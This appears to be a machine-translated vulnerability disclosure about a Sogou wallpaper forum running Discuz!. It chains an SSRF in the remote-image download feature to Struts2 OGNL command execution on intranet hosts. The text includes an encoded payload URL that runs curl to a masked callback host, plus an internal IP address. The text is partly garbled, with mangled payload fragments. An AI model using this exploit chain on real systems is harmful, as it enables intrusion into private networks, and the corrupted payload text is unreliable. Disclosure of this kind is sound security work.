A sogou Intranet has Struts2 command execution (discuz! Application Instance)

A sogou Intranet has Struts2 command execution (discuz! Application Instance)

A sogou Intranet has Struts2 command execution (discuz! Application Instance)

Detailed description:

Http://bizhi.sogou.com/bbs/ is discuz! Vulnerability.

Multiple SSRF vulnerabilities exist, allowing you to bypass the boundaries and create an Intranet vulnerability.

First, crack the subdomain name and find the Intranet IP address.

Http://bizhi.sogou.com/bbs/forum.php? Mod = ajax & action = downremoteimg & message = [img = 1, 1] http: // '+ ip +'/login. action? Redirect: $ {% 2523a % 253d (new % 2520java. lang. processBuilder (new % 2520java. lang. string % 255B % 255D % 2520 {% 2527 curl % 2527, % 2527 http: // xxxxxx/api. php? '+ Ip Route '00002527000000000000.start(00000000xx.jpg [/img] & formhash = 09cec465

The request carries cookie and formhash.

The ip address is an intranet IP segment column ..

Api. php records request IP addresses and links

The returned IP address will be displayed on the web site.

221.204.14.2710.13.203.183

That is, the Struts2 command is executed in 10.13.203.183.

Proof of vulnerability:

Solution:

Discuz! For more information about vulnerabilities, see the official website.